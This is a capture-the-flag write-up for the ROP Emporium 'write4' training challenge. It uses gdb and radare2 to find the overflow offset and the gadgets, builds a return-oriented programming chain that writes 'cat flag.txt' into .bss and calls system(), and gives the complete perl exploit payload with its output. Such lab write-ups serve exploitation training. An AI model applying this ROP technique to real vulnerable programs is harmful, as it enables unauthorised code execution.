This challenge uses a similar pwnme function as the previous split challenge with the same offsets but a larger overflow (0x200 bytes).

$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
  gdb ./write4 --batch -ex run
write4 by ROP Emporium
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()

The usefulFunction is back but no usefulString this time.

$ r2 ./write4 -qc "is"
039 0x00000807 0x00400807  LOCAL   FUNC   17 usefulFunction
074 0x00000820 0x00400820 GLOBAL NOTYPE    0 usefulGadgets

$ r2 ./write4 -qc "aa ; pdf @ sym.usefulFunction"
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      push rbp
|           0x00400808      mov rbp, rsp
|           0x0040080b      mov edi, str.bin_ls
|           0x00400810      call sym.imp.system
|           0x00400815      nop
|           0x00400816      pop rbp
\           0x00400817      ret

Only one usefulGadget and it is copying from register to memory.

$ r2 ./write4 -qc "aa ; pd 2 @ 0x00400820"
          ;-- usefulGadgets:
          0x00400820      mov qword [r14], r15
          0x00400823      ret

Even though the string "cat flag.txt" does not appear in the binary, we can inject it onto the stack as part of the overflow. We can then use the first of usefulGadgets to copy the string to a known memory address and jmp to the system() function.

Here are the gadgets we need from usefulGadgets, to write a register value to memory address.

0x00400820      mov qword [r14], r15

To load an arbitrary value into r15 and memory address into r15.

$ r2 ./write4 -qc ' "/R pop r14;pop r15;ret" '
  0x00400890               415e  pop r14
  0x00400892               415f  pop r15
  0x00400894                 c3  ret

We also need to load the address of our freshly copied string into the rdi register so it can be passed as an argument to system().

$ r2 ./write4 -qc ' "/R pop rdi;ret" '
  0x00400893                 5f  pop rdi
  0x00400894                 c3  ret

Finally we need a destination to copy our string to. The .bss section is ideal because it is guaranteed to be r/w and it is initialized to zero so we don’t need to manually NUL terminate the string (as long as code running before the exploit doesn’t write there). In our case can just use the very start of .bss.

$ r2 ./write4 -qc ' "iS" ' | grep bss
26 0x00001060     0 0x00601060    48 -rw- .bss

So our rop chain will look like this:

0x00000000400890 # pop r14; pop r15
0x00000000601060 # .bss
0x616c6620746163 # "cat fla"
0x00000000400820 # mov qword [r14], r15

0x00000000400890 # pop r14; pop r15
0x00000000601067 # .bss + 7
0x00007478742e67 # "g.txt"
0x00000000400820 # mov qword [r14], r15

0x00000000400893 # pop rdi
0x00000000601060 # .bss
0x00000000400810 # system(rdi)

See the previous split challenge for code to convert addresses to the form below.

$ perl -e 'print(("\x00" x 0x28) .
                 "\x90\x08\x40\x00\x00\x00\x00\x00" .
                 "\x60\x10\x60\x00\x00\x00\x00\x00" .
                 "\x63\x61\x74\x20\x66\x6c\x61\x00" .
                 "\x20\x08\x40\x00\x00\x00\x00\x00" .
                 "\x90\x08\x40\x00\x00\x00\x00\x00" .
                 "\x67\x10\x60\x00\x00\x00\x00\x00" .
                 "\x67\x2e\x74\x78\x74\x00\x00\x00" .
                 "\x20\x08\x40\x00\x00\x00\x00\x00" .
                 "\x93\x08\x40\x00\x00\x00\x00\x00" .
                 "\x60\x10\x60\x00\x00\x00\x00\x00" .
                 "\x10\x08\x40\x00\x00\x00\x00\x00")' |
write4 by ROP Emporium

Go ahead and give me the string already!
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault